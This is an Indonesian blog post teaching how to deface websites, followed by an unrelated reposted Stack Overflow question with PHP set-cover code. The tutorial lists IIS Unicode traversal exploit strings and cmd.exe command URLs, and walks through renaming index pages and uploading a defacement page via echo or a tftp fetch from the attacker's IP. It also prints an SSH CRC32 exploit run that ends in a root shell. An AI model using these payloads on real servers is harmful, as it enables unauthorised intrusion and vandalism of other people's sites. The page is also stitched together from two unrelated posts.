OK...mari kita mulai...Pertama kita cari site site target terlebih dahulu di search engine (google,yahoo,dll)...key nya terserah<br />
kowe.....Lalu utk mengetahui site itu menggunakan MS IIS 4.0/5.0...Kita scan terlebih dahulu di <span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span>
site yah..??...Okeh..setelah kita mendapatkan site yg menggunakan MS
IIS 4.0/5.0 ...Langkah selanjutnya utk mengetahui site tersebut belum
di-patch bug unicode nya mari kita scan site tersebut di mirc (utk
mengeteahui cara scan lewat mirc....coba koe buka <span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span> page 3 Scanning Exploit Unicode Dengan MIRC),bisa juga memakai sopwer yg<br />
bisa and DL di <span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span> or memakai cara manual yg lebih sering kita gunakan ehehhehehhee...contoh:<br />
<br />
<span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span><br />
<br />
Ada dua kemungkinan yang tampil pada browser Anda yaitu:<br />
Kahiji : Muncul pesan ERROR ...<br />
Kaduana : Muncul daftar file-file dari drive C pada komputer server<br />
target. Bila ini terjadi maka<br />
<span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span> tadi ada kemungkinan untuk bisa kita deface...<br />
<br />
Mari kita perhatikan URL aneh bin ajaib diatas. Akan sayah bagi URL<br />
diatas menjadi empat bagian yaitu :<br />
· Bagian host, yaitu "<span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span><br />
· Bagian exploit string, yaitu "/scripts/..%255c..%255c"<br />
· Bagian folder, yaitu "/winnt/system32/"<br />
· Bagian command, yaitu "cmd.exe?/c+dir+c:\"<br />
<br />
Kita
lihat pada bagian command diatas menunjukkan perintah "dir c:\" yang
berarti melihat seluruh file-file yang berada pada root drive C. Koe
bisa mencoba perintah yang lain seperti "dir d:\" atau yang lain. Ingat,
Koe harus mengganti karakter spasi dengan tanda "+". Koe bahkan bisa
menge tahui konfigurasi IP address komputer tujuan dengan mengetikkan
perintah "ipconfig.exe /all"<br />
<br />
Selain itu ada beberapa kemungkinan
yaitu bisa saja URL diatas masih menampilkan error pada browser koe.
Untuk itu koe ganti sajah bagian eksploit stringnyah, eksploit string yg
sering tembus adalah :<br />
- /cgi-bin/..%255c..%255c<br />
- /msadc/..%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af..<br />
- /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..<br />
- /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..<br />
- /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..<br />
- /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..<br />
- /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..<br />
- /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..<br />
- /scripts/..%255c..%255c<br />
<br />
Jika
semua pilihan eksploit string diatas masih memunculkan pesan error pada
browser koe maka kemungkinan besar IIS pada web server sudah di-patch
bug unicode nya (OR IE kowe yg lagie dodolss ...hiheiehiehiehei). Dan
koe bisa memilih situs lain sebagai sasaran....(yg sabar yah nak nyari
targetnyah...ehehhehehe).<br />
<br />
Lanjuttt......udeh dapet site yg bug
unicodenyah gak di patch..??....Langkah berikutnya adalah mengetahui di
folder manakah diletakkan dokumen-dokumen web seperti
default.htm/html/asp,,index.htm/html/asp,home.htm/html/asp,main.htm/html/asp,.ada
juga yg pake .php/php3/shtml. Folder ini dinamakan web root. Biasanya
web root berada di C:\InetPub\wwwroot\ atau D:\InetPub\wwwroot. Tapi
terkadang web administrator menggantinya dengan yang lain. Untuk
mengetahuinya koe cukup mengetikkan URL seperti di bawah ini<br />
<br />
<span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span><br />
<br />
URL
diatas akan menampilkan daftar environment variable dari web server
sasaran. Kebuka..??...Nah tugas koe skrg adalah mencari PATH_TRANSLATED
atau tulisan PATH_TRANSLATEDnyah...gak ada yahh ..??...coba deh koe
ripresh lagehh...udah ketemuuu...nah skrg kita DIR deh tuh si
PATH_TRANSLATED nyah.....Kita ambil contoh PATH_TRANSLATEDnyah :<br />
C:\InetPub\wwwroot....Perintahnya ng-DIR nyah :<br />
<br />
<span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span><br />
<br />
Huaaaaaaa....isinyah
banyak banged yahh.....mana dokumen2 web yg kita curigain itu ada 3
bijih. lagehh... .hemm santeyy...oiyahh...lupa sayah...Tugas kita
setelah ng-DIR PATH_TRANSLATEDnyah..... truss kita cari dokumen web itu
disitu utk kita RENAME....gemana kalo misalnyah dokumen2 web yg kita
curigain itu ada 3..santeyy...coba skrg koe buka site aslinyah di laen
window....<br />
<span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span> == neh yg ini......di situ kan alias di<br />
<span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span><br />
dokumen2 web nyah ada 3 macem pasti kita bingung yg mana neh yg mo di RENAME....misalnya : di<br />
<br />
<span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span><br />
itu ada :<br />
Directory of C:\InetPub\wwwroot<br />
07/20/01 03:21p 1,590 default.htm<br />
07/20/01 03:21p 590 index.html<br />
07/20/01 03:21p 3,453 main.html<br />
<br />
Udah di buka kan site aslinyah...nah coba masukin salah satu dokumen web itu di site asli nyah... contoh : <span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span>
kita liad hasilnya apa kah sama gambarnya (halaman depannya) setelah
kita masukin dokumen web tadee.waww ternyata tidak sama hemm.coba
masukin lageh salah satu dokumen web itu site aslinyah.mMmm..kita
masukin yg main.html.waww waww..ternyata sama gambarnyahh.Nah skrg kita
RENAME deh yg main.html ituu. perintahnya :<br />
<br />
<span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span><br />
<br />
Lihat apa yg terjadi di IE kitaa<br />
<br />
CGI Error<br />
The specified CGI application misbehaved by not returning a complete<br />
set of HTTP headers. The headers it did return are:<br />
Access is denied<br />
<br />
Yahhhh..akses
dineyy.hiekksss jgn nyerah bro` kita carih lageh targetnyah okeHh
!!!Dapat targetnyah..??udah di RENAME nyah??.Hasilnya setelah di RENAME
seperti di bawah ini bukan??<br />
<br />
CGI Error<br />
The specified CGI application misbehaved by not returning a complete<br />
set of HTTP headers. The headers it did return are :<br />
<br />
Kalo
iyahh.waaa selamat anda telah merubah or berhasil men-deface halaman
depan web site tersebut.kalo gak caya buka ajah site aslinyah pasti
ERROR kann ehehhehehhee (Jgn lupa kita simpan
C:\InetPub\wwwroot\main.html *file yg kita rename tadi di notepad utk
langkah selanjutnyah*)<br />
<br />
Sekarang koe tugasnyah meng-upload file koe ke site tadee Ada dua cara my bro` Pertama lewat ECHO..Kedua lewat TFTP32.<br />
<br />
*Cara pertama :*<br />
Utk
meng-upload file lewat echo sebelumnyah kita harus mengcopy file
cmd.exe pada direktori C:\winnt\system32 ke suatu folder lain atau
folder yang sama dengan nama lain, misalnya cmdku.exe. Untuk meng-copy
cmd.exe menjadi cmdku.exe pada folder winnt\system32 maka cukup ketik
URL berikut :<br />
<br />
<span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span><br />
<br />
Pasti hasilnya akan seperti di bawah ini :<br />
<br />
CGI Error<br />
The specified CGI application misbehaved by not returning a complete<br />
set of HTTP headers. The headers it did return are :<br />
1 file(s) copied.<br />
<br />
Tujuan
kita meng-copy cmd.exe menjadi cmdku.exe adalah agar kita bisa
menjalankan perintah echo dengan lengkap. Apabila Anda menggunakan
cmd.exe maka perintah echo tidak bisa digunakan untuk menulis atau
membuat file.<br />
<br />
Okeih Sob skrg mari kita up-load file nya lewat perintah echo perintahnya :<br />
<br />
dapat dilihat disini<br />
Kita liat apa yg terjadi di IE kita.<br />
<br />
CGI Error<br />
The specified CGI application misbehaved by not returning a complete<br />
set of HTTP headers. The headers it did return are :<br />
<br />
Waa..waaa.selamat anda telah berhasil meng-upload file anda lewat cara echo tadee silahkan buka web site target tadi<br />
<br />
Oiyahh sayah uraikan sedikit URL ajaib tadii. Sayah akan membagi URL tadi menjadi empat bagian :<br />
<br />
* Bagian hosting dan exploit string yaitu, <span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span><br />
* Bagian command yaitu, cmdku.exe?/c+echo+<br />
* Bagian HTML<br />
* Bagian PATH_TRANSLATEDnyah(rootnyah)+Dokumen webnyah yaitu,<br />
C:\InetPub\wwwroot\main.html<br />
<br />
Cara Kedua Utk meng-upload file lewat TFTP32 sebelumnyah koe2 orang harus mendownload sopwer TFTP32 terlebih dahulu di <span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span>
ketik keynya TFTP32 dan koe harus maen diserver (sebab di user pasti
takkan bisa). Meng-upload file lewat TFTP32.. koe tdk perlu mengcopy
cmd.exe nyah langsung sajah.mari kita mulai meng-uploadnyah perintahnya :<br />
<br />
* <span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span><br />
/winnt/system32/cmd.exe?/c+tftp+-i+202.95.145.71(IP mu)+get+antique.htm(file yg mau koe<br />
up-load)+ C:\InetPub\wwwroot\main.html<br />
<br />
Kita liat lagi apa yg terjadi di IE kita.<br />
<br />
CGI Error<br />
The specified CGI application misbehaved by not returning a complete<br />
set of HTTP headers. The headers it did return are :<br />
<br />
Waa..waaa.selamat anda telah berhasil meng-upload file anda memakai sopwer TFTP32 tadee silahkan buka web site target tadi.<br />
<br />
Sayah akan uraikan juga URL tadee menjadi 4 bagian :<br />
<br />
* Bagian hosting dan exploit string yaitu, <span style="color: red;">[You must be <a href="http://kamikazehacker.n-stars.org/register?redirect=%2Ft15-cara-deface-website">registered</a> and <a href="http://kamikazehacker.n-stars.org/login?redirect=%2Ft15-cara-deface-website">logged in</a> to see this link.]</span><br />
* Bagian folder, yaitu /winnt/system32/<br />
* Bagian command, yaitu cmd.exe?/c+tftp+-i+202.95.145.71(IPmu)+get+antique.htm(file yg mau koe up-load)+<br />
* Bagian PATH_TRANSLATEDNYAH(rootnyah)+Dokumen webnyah yaitu,<br />
C:\InetPub\wwwroot\main.html<br />
<br />
Kekurangannyah
dalam meng-upload file lewat TFTP32terkadang suatu server (web site)
tidak mau menerima up-load file kita tadee.Jikalau itu terjadi maka
gunakanlah cara pertama diatas tadee.<br />
<br />
Sebelumnya dan sesudahnyah
sayah mo ngejelasin bahwa tutorial ini tidak mempunyai maksud tertentu
selain untuk ilmu pengetahuan dan kebebasan dalam berbagi ilmu
pengetahuan. Sayah tidak bertanggung jawab apapun terhadap segala
sesuatu yang terjadi akibat tutorial ini. Tutorial ini bersifat terbuka
yang berarti Anda bisa memberikan kritik dan saran terhadap tutorial
ini.<br />
<br />
--------------------------------------------END--------------------------------------------------<br />
<br />
Nah
itu adalah cara pemanfaatan lubang di IIS server yang dikenal dengan
nama UNICODE, untuk tambahan bahwa sekarang UNICODE telah berkembang
banyak ditemukan beberapa bug baru yang dapat dimanfaatkan untuk masuk
ke server IIS, untuk hal ini kalian bisa cari di situs2 cyber
underground...hehehehe "yang kreatif donk..!!"<br />
<br />
Okeh sekrang kita
ke UNIX yah...di unix sendiri yang perlu dilakukan untuk men-deface
situs adalah memperoleh fasilitas root dari server tsb. Cara memperoleh
fasilitas root tentu saja melalui exploit (mengenai masalah exploit bisa
kalian lihat di bagian "Hacking Shell"). Nah disini gue akan memberi
salah satu contoh mendapatkan fasilitas root dari exploit "SSH CRC32
Exploit", exploit ini ditujukan pada SSH server yang berjalan pada SSH
protocol 1 atau SSH protocol 2 configured to drop back to protocol 1
Ketika berjalan exploitnya akan bekerja seperti ini :<br />
<br />
[root@juventini]# ./x10 -t1 192.168.1.120<br />
<br />
password:<br />
<br />
Target: Small - SSH-1.5-1.2.26<br />
<br />
Attacking: 192.168.1.120:22<br />
Testing if remote sshd is vulnerable # ATTACH NOWYES #<br />
Finding h - buf distance (estimate)<br />
(1 ) testing 0x00000004 # SEGV #<br />
(2 ) testing 0x0000c804 # FOUND #<br />
Found buffer, determining exact diff<br />
Finding h - buf distance using the teso method<br />
(3 ) binary-search: h: 0x083fb7fc, slider: 0x00008000 # SEGV #<br />
(4 ) binary-search: h: 0x083f77fc, slider: 0x00004000 # SURVIVED #<br />
(5 ) binary-search: h: 0x083f97fc, slider: 0x00002000 # SURVIVED #<br />
(6 ) binary-search: h: 0x083fa7fc, slider: 0x00001000 # SEGV #<br />
(7 ) binary-search: h: 0x083f9ffc, slider: 0x00000800 # SEGV #<br />
(8 ) binary-search: h: 0x083f9bfc, slider: 0x00000400 # SEGV #<br />
(9 ) binary-search: h: 0x083f99fc, slider: 0x00000200 # SURVIVED #<br />
(10) binary-search: h: 0x083f9afc, slider: 0x00000100 # SEGV #<br />
(11) binary-search: h: 0x083f9a7c, slider: 0x00000080 # SEGV #<br />
(12) binary-search: h: 0x083f9a3c, slider: 0x00000040 # SEGV #<br />
(13) binary-search: h: 0x083f9a1c, slider: 0x00000020 # SEGV #<br />
(14) binary-search: h: 0x083f9a0c, slider: 0x00000010 # SURVIVED #<br />
(15) binary-search: h: 0x083f9a14, slider: 0x00000008 # SURVIVED #<br />
Bin search done, testing result<br />
Finding exact h - buf distance<br />
(16) trying: 0x083f9a14 # SURVIVED #<br />
Exact match found at: 0x000065ec<br />
Looking for exact buffer address<br />
Finding exact buffer address<br />
(17) Trying: 0x080865ec # SURVIVED #<br />
Finding distance till stack buffer<br />
(18) Trying: 0xb7f81400 # SEGV #<br />
(19) Trying: 0xb7f81054 # SEGV #<br />
(20) Trying: 0xb7f80ca8 # SEGV #<br />
(21) Trying: 0xb7f808fc # SEGV #<br />
(22) Trying: 0xb7f80550 # SEGV #<br />
(23) Trying: 0xb7f801a4 # SEGV #<br />
(24) Trying: 0xb7f7fdf8 # SEGV #<br />
(25) Trying: 0xb7f7fa4c # SEGV #<br />
(26) Trying: 0xb7f7f6a0 # SEGV #<br />
(27) Trying: 0xb7f7f2f4 # SEGV #<br />
(28) Trying: 0xb7f7ef48 # SEGV #<br />
(29) Trying: 0xb7f7eb9c # SEGV #<br />
(30) Trying: 0xb7f7e7f0 # SEGV #<br />
(31) Trying: 0xb7f7e444 # SEGV #<br />
(32) Trying: 0xb7f7e098 # SURVIVED # verifying<br />
(33) Trying: 0xb7f7e098 # SEGV # OK<br />
Finding exact h - stack_buf distance<br />
(34) trying: 0xb7f7de98 slider: 0x0200# SURVIVED #<br />
(35) trying: 0xb7f7dd98 slider: 0x0100# SURVIVED #<br />
(36) trying: 0xb7f7dd18 slider: 0x0080# SEGV #<br />
(37) trying: 0xb7f7dd58 slider: 0x0040# SEGV #<br />
(38) trying: 0xb7f7dd78 slider: 0x0020# SURVIVED #<br />
(39) trying: 0xb7f7dd68 slider: 0x0010# SEGV #<br />
(40) trying: 0xb7f7dd70 slider: 0x0008# SEGV #<br />
(41) trying: 0xb7f7dd74 slider: 0x0004# SURVIVED #<br />
(42) trying: 0xb7f7dd72 slider: 0x0002# SEGV #<br />
Final stack_dist: 0xb7f7dd74<br />
EX: buf: 0x080835ec h: 0x0807d000 ret-dist: 0xb7f7dcfa<br />
<br />
ATTACH NOW<br />
Changing MSW of return address to: 0x0808<br />
Crash, finding next return address<br />
Changing MSW of return address to: 0x0809<br />
Crash, finding next return address<br />
Changing MSW of return address to: 0x080a<br />
Crash, finding next return address<br />
EX: buf: 0x080835ec h: 0x0807d000 ret-dist: 0xb7f7dcf6<br />
<br />
ATTACH NOW<br />
Changing MSW of return address to: 0x0808<br />
Crash, finding next return address<br />
Changing MSW of return address to: 0x0809<br />
Crash, finding next return address<br />
Changing MSW of return address to: 0x080a<br />
Crash, finding next return address<br />
EX: buf: 0x080835ec h: 0x0807d000 ret-dist: 0xb7f7dcfc<br />
<br />
ATTACH NOW<br />
Changing MSW of return address to: 0x0808<br />
Crash, finding next return address<br />
Changing MSW of return address to: 0x0809<br />
No Crash, might have worked<br />
Reply from remote: CHRIS CHRIS<br />
<br />
***** YOU ARE IN *****<br />
<br />
localhost.localdomain<br />
<br />
Linux localhost.localdomain 2.2.16-22 #1 Tue Aug 22 16:49:06 EDT 2000<br />
i686<br />
unknown<br />
<br />
uid=0(root) gid=0(root)<br />
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)<br />
<br />
.....HOREEEEE...dapat
root heheehehhe, nah sekarang loe udah mendapatkan fasilitas root, okeh
sekarang kita mulai men-deface situs yang tedapat pada server tsb.
Pertama-tama perlu kalian ketahui bahwa biasanya halaman index pada
server UNIX ditempatkan pada direktori tertentu, yaitu : home/html atau
home/html/httpd atau bisa juga di direktori var/html atau var/html/httpd<br />
naH..tunggu
apa lagi coba deh loe liat-liat isi direktori itu...untuk meyakinkannya
loe buka situs tsb pada browser dan lihatlah apa nama dari file halaman
index situs itu..hmmm biasanya sich index.html atau index.htm Udah
dapat indexnya? kalo udah sekarang loe bisa echo deh...gampang kan???
heheheh..cuman kalo gue rada malas sich make echo mending bikin halaman
baru...<img alt="Wink" longdesc="15" src="http://illiweb.com/fa/i/smiles/icon_wink.gif" />), gini caranya :<br />
<br />
1. ganti dulu nama indexnyamv index.htm oldindex.htm<br />
2. sekarang buka editor dari shell, bisa make vi atau pico : vi index.htm<br />
3. masukan HTML yang kalian buat di vi ataupun pico tadi<br />
4. buka browser kalian....heheeheh..udah ganti kan sekrang halamannya..<img alt="Smile" longdesc="2" src="http://illiweb.com/fa/i/smiles/icon_smile.gif" />)) SiiiPPPP..!!<br />
<br />
Gitu
aja kok caranya...mudah aja kan..?? hehehhe...intinya memang cuman
bagaimana mendapatkan fasilitas root pada server, dan seperti yang telah
gue bilang tadi bahwa setiap server memiliki karakteristik yang
berbeda-beda sesuai dengan OS nya masing2. Sehingga diperlukan exploit
yang berbeda apabila kita ingin mencoba menembus server yang memiliki OS
yang berbeda pula...so many exploit out thare...just get iT..!!
hehehheudah dulu yah...BUBAYYYYYY!!!!!!!!!!!! <img alt="" longdesc="65" src="http://r19.imgfast.net/users/1914/13/19/12/smiles/2948368165.gif" />Anonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.com0tag:blogger.com,1999:blog-2256760488114533969.post-76438457634700661482011-01-13T03:30:00.000-08:002012-11-04T23:01:55.937-08:00gredy<table><tbody>
<tr><td class="votecell"><div class="vote">
<span class="vote-count-post">9</span>
<a class="vote-down-off" href="http://www.blogger.com/blogger.g?blogID=2256760488114533969" title="This question does not show any research effort; it is unclear or not useful (click again to undo)">down vote</a>
<a class="star-off" href="http://stackoverflow.com/questions/3130897/minimum-set-cover-php#" title="This is a favorite question (click again to undo)">favorite</a>
<br />
<div class="favoritecount">
<b>2</b></div>
</div>
</td>
<td class="postcell"><div>
<div class="post-text" itemprop="description">
<a href="http://en.wikipedia.org/wiki/Set_cover_problem" rel="nofollow">Minimum Set Cover</a> is a question where you must find the minimum number of sets needed to cover every element. <br />
For example, imagine that we have a set of <code>X=array(1,2,3,4,5,6)</code> and 5 another set S, where <br />
<pre class="lang-php prettyprint prettyprinted"><code><span class="pln">S</span><span class="pun">[</span><span class="lit">1</span><span class="pun">]=</span><span class="pln">array</span><span class="pun">(</span><span class="lit">1</span><span class="pun">,</span><span class="pln"> </span><span class="lit">4</span><span class="pun">)</span><span class="pln">
S</span><span class="pun">[</span><span class="lit">2</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln">array</span><span class="pun">(</span><span class="lit">2</span><span class="pun">,</span><span class="pln"> </span><span class="lit">5</span><span class="pun">)</span><span class="pln">
S</span><span class="pun">[</span><span class="lit">3</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln">array</span><span class="pun">(</span><span class="lit">3</span><span class="pun">,</span><span class="pln"> </span><span class="lit">6</span><span class="pun">)</span><span class="pln">
S</span><span class="pun">[</span><span class="lit">4</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln">array</span><span class="pun">(</span><span class="lit">1</span><span class="pun">,</span><span class="pln"> </span><span class="lit">2</span><span class="pun">,</span><span class="pln"> </span><span class="lit">3</span><span class="pun">)</span><span class="pln">
S</span><span class="pun">[</span><span class="lit">5</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln">array</span><span class="pun">(</span><span class="lit">4</span><span class="pun">,</span><span class="pln"> </span><span class="lit">5</span><span class="pun">,</span><span class="pln"> </span><span class="lit">6</span><span class="pun">)</span></code></pre>
The problem is to find minimum number of sets of <code>S</code> which cover every element of <code>X.</code> So obviously the minimum set cover in our case will be S[4] and S[5] because they cover all the elements.<br />
Does anybody have an idea how to implement this code in PHP. Note, that this is <a href="http://en.wikipedia.org/wiki/NP-complete" rel="nofollow">NP-complete</a>
so there is no fast algorithm to solve it. Any solution in PHP will be
welcomed. And BTW it is not a homework, I need to use this algorithm in
my web application in order to generate suggestion list. <br />
Thanks in advance.<br />
<b>Update 1</b><br />
There are many applications of Set Covering Problem. Some of the interesting ones are:<br />
<ol>
<li>Construction of Optimal logic circuits</li>
<li>Air-crew Scheduling</li>
<li>Assembly line balancing</li>
<li>Information retrieval</li>
<li>Art Gallery problem</li>
<li>Genome Sequencing</li>
<li>Red-Blue SetCover problem</li>
</ol>
<b>Update 2</b><br />
For example, you can see the working version of the problem I mentioned. Here, even
it shows visually the sets. But I need the pure PHP code for that, if
somebody has it please be kind to provide us with the working example in
PHP. Thanks <br />
<b>Update 3</b><br />
Finally, I have solved the problem in PHP. My solution based on the algorithm proposed on a very famous book called <a href="http://www.introductiontoalgorithms.com/" rel="nofollow"><b>Introduction to Algorithms</b></a>, section <b>The set-covering</b> problem. Here how my solution looks like: <br />
<pre class="lang-php prettyprint prettyprinted"><code><span class="pln">$MainSet</span><span class="pun">=</span><span class="pln">array</span><span class="pun">(</span><span class="lit">1</span><span class="pun">,</span><span class="pln"> </span><span class="lit">2</span><span class="pun">,</span><span class="pln"> </span><span class="lit">3</span><span class="pun">,</span><span class="pln"> </span><span class="lit">4</span><span class="pun">,</span><span class="pln"> </span><span class="lit">5</span><span class="pun">,</span><span class="pln"> </span><span class="lit">6</span><span class="pun">,</span><span class="pln"> </span><span class="lit">7</span><span class="pun">);</span><span class="pln">
$SubSet</span><span class="pun">=</span><span class="pln">array</span><span class="pun">(</span><span class="pln">array</span><span class="pun">(</span><span class="lit">1</span><span class="pun">,</span><span class="lit">4</span><span class="pun">),</span><span class="pln"> array</span><span class="pun">(</span><span class="lit">2</span><span class="pun">,</span><span class="pln"> </span><span class="lit">5</span><span class="pun">),</span><span class="pln"> array</span><span class="pun">(</span><span class="lit">3</span><span class="pun">,</span><span class="pln"> </span><span class="lit">6</span><span class="pun">),</span><span class="pln"> array</span><span class="pun">(</span><span class="lit">1</span><span class="pun">,</span><span class="pln"> </span><span class="lit">2</span><span class="pun">,</span><span class="pln"> </span><span class="lit">3</span><span class="pun">),</span><span class="pln"> array</span><span class="pun">(</span><span class="lit">4</span><span class="pun">,</span><span class="pln"> </span><span class="lit">5</span><span class="pun">,</span><span class="pln"> </span><span class="lit">6</span><span class="pun">));</span><span class="pln">
$UncoveredElements</span><span class="pun">=</span><span class="pln">$MainSet</span><span class="pun">;</span><span class="pln">
$CoveringSets</span><span class="pun">=</span><span class="pln">array</span><span class="pun">();</span><span class="pln">
</span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">count</span><span class="pun">(</span><span class="pln">$UncoveredElements</span><span class="pun">)&gt;</span><span class="lit">0</span><span class="pun">){</span><span class="pln">
$S</span><span class="pun">=</span><span class="typ">SubSetS</span><span class="pun">(</span><span class="pln">$UncoveredElements</span><span class="pun">,</span><span class="pln"> $SubSet</span><span class="pun">);</span><span class="pln">
</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">is_array</span><span class="pun">(</span><span class="pln">$S</span><span class="pun">)){</span><span class="pln">
$UncoveredElements</span><span class="pun">=</span><span class="pln">array_diff</span><span class="pun">(</span><span class="pln">$UncoveredElements</span><span class="pun">,</span><span class="pln"> $S</span><span class="pun">);</span><span class="pln">
$CoveringSets</span><span class="pun">[]=</span><span class="pln">$S</span><span class="pun">;</span><span class="pln">
</span><span class="pun">}</span><span class="kwd">else</span><span class="pln">
</span><span class="kwd">break</span><span class="pun">;</span><span class="pln"> </span><span class="com">//finish work</span><span class="pln">
</span><span class="pun">}</span><span class="pln">
echo </span><span class="str">"Sets that cover MainSet are:"</span><span class="pun">;</span><span class="pln">
var_dump</span><span class="pun">(</span><span class="pln">$CoveringSets</span><span class="pun">);</span><span class="pln">
</span><span class="com">//Subset S is chosen that covers as many uncovered elements as possible</span><span class="pln">
</span><span class="kwd">function</span><span class="pln"> </span><span class="typ">SubSetS</span><span class="pun">(</span><span class="pln">$UncoveredElements</span><span class="pun">,</span><span class="pln"> $SubSetArr</span><span class="pun">){</span><span class="pln">
$max</span><span class="pun">=</span><span class="lit">0</span><span class="pun">;</span><span class="pln"> $s</span><span class="pun">=</span><span class="pln">array</span><span class="pun">();</span><span class="pln">
</span><span class="kwd">foreach</span><span class="pun">(</span><span class="pln">$SubSetArr </span><span class="kwd">as</span><span class="pln"> $SubSet</span><span class="pun">){</span><span class="pln">
$intersectArr</span><span class="pun">=</span><span class="pln">array_intersect</span><span class="pun">(</span><span class="pln">$UncoveredElements</span><span class="pun">,</span><span class="pln"> $SubSet</span><span class="pun">);</span><span class="pln">
$weight</span><span class="pun">=</span><span class="pln">count</span><span class="pun">(</span><span class="pln">$intersectArr</span><span class="pun">);</span><span class="pln">
</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$weight</span><span class="pun">&gt;</span><span class="pln">$max</span><span class="pun">){</span><span class="pln">
$max</span><span class="pun">=</span><span class="pln">$weight</span><span class="pun">;</span><span class="pln">
$s</span><span class="pun">=</span><span class="pln">$SubSet</span><span class="pun">;</span><span class="pln">
</span><span class="pun">}</span><span class="pln">
</span><span class="pun">}</span><span class="pln">
</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$max</span><span class="pun">&gt;</span><span class="lit">0</span><span class="pun">)</span><span class="pln">
</span><span class="kwd">return</span><span class="pln"> $s</span><span class="pun">;</span><span class="pln">
</span><span class="kwd">else</span><span class="pln">
</span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln">
</span><span class="pun">}</span></code></pre>
</div>
</div>
</td></tr>
</tbody></table>
Anonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.com0